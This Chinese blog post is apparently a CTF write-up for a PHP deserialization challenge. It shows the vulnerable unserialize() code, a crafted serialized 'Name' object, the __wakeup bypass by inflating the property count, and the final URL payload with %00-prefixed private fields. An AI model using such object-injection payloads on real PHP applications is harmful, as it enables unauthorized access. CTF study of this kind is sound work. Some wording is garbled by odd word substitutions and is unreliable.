当前位置:首页 > Web开发 > 正文

类名和字段名前面都会加上\0的前缀

2024-03-31 Web开发

php序列化与反序列化
序列化:函数为serialize(),把庞大的数据类型压缩到一个字符串中 数据类型可以是数组,字符串,东西等
反序列化:函数为unserialize(),,将字符串转换成变量或东西的过程
常用的魔术要领:
__construct():创建东西时初始化,当一个东西创建时被挪用
__wakeup() 使用unserialize时触发
__sleep() 使用serialize时触发
__destruction():结束时销毁东西,当一个东西销毁时被挪用

private
private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的东西实例中均不偏见。因此私有字段的字段名在序列化时,类名和字段名前面城市加上\0的前缀。字符串长度也包孕所加前缀的长度

__wakeup()绕过
在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数的执行

解题思路与过程 1.目录扫描
访谒标题问题连接按照提示猜度可能存在信息泄露,我们扫描目录发明备份文件:,发明备份文件为源代码


2.代码审计
在index.php中找到php代码

<?php include 'class.php'; $select = $_GET['select']; $res=unserialize(@$select); ?>

这里包罗了class.php文件,用GET要领传入参数select的值,然后反序列化该值,猜度此题与反序列化缝隙有关
接着审class.php

<?php include 'flag.php'; error_reporting(0); class Name{ private $username = 'nonono'; private $password = 'yesyes'; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } function __wakeup(){ $this->username = 'guest'; } function __destruct(){ if ($this->password != 100) { echo "</br>NO!!!hacker!!!</br>"; echo "You name is: "; echo $this->username;echo "</br>"; echo "You password is: "; echo $this->password;echo "</br>"; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "</br>hello my friend~~</br>sorry i can't give you the flag!"; die(); } } } ?>

如果password=100,username=admin,在挪用__destruct()时就可以获得flag,因此我们需要结构一个序列化使得password=100,username=admin

<?php class Name{ private $username = 'nonono'; private $password = 'yesyes'; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } } $a = new Name('admin', 100); $b = serialize($a); echo $b; ?>

得到序列化后的结合

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}



3.绕过__wakeup()

__wakeup()要领中$this->username = ‘guest‘会让username从头赋值。在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数的执行,我们可以将字符串中O:4:"Name"后面的2改为3及以上的整数

O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

注意该类中使用的private来声明字段,private在序列化中类名和字段名前都要加上ASCII 码为 0 的字符(不偏见字符),如果我们直接复制功效,该空白字符会丢掉,需要我们本身加上

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

将该字符串作为select参数的值,GET方法发送过去就可以获得flag

标题问题链接/?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}

[极客大挑战 2019]PHP CTF题解与分析

温馨提示: 本文由Jm博客推荐,转载请保留链接: https://www.jmwww.net/file/web/29933.html